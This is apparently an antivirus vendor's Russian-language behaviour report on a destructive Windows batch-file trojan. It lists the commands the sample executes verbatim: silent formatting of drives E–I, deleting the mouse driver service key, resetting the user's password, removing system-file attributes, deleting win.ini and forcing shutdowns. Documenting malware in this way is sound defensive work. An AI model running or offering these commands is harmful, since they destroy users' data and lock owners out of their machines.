Техническая информация
Вредоносные функции:
Запускает на исполнение:
- '<SYSTEM32>\format.com' F:/g/y
- '<SYSTEM32>\format.com' g:/g/y
- '<SYSTEM32>\attrib.exe' -r -s -h %WINDIR%\win.ini
- '<SYSTEM32>\format.com' E:/g/y
- '<SYSTEM32>\shutdown.exe' -r -t 10 -c "Hacked BY HIM :*"
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
- '<SYSTEM32>\format.com' H:/g/y
- '<SYSTEM32>\format.com' i:/g/ycd\
- '<SYSTEM32>\net1.exe' user "%USERNAME%" "HackerKJ"
- '<SYSTEM32>\label.exe' Hacked BY HIM
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\batfile.bat" "
- '<SYSTEM32>\shutdown.exe' -s -t 15 -c "Hahahahh HakeR :D :D"
- '<SYSTEM32>\attrib.exe' -r -s -h c:\boot.ini
- '<SYSTEM32>\attrib.exe' -r -s -h C:\ntldr
- '<SYSTEM32>\rundll32.exe' shell32.dll,Activate_RunDLL
- '<SYSTEM32>\attrib.exe' -r -s -h C:\autoexec.bat
Пытается завершить работу операционной системы Windows.
Изменения в файловой системе:
Создает следующие файлы:
- <SYSTEM32>\nokeyboard.reg
- %TEMP%\1.tmp\batfile.bat
Удаляет следующие файлы:
- %WINDIR%\win.ini
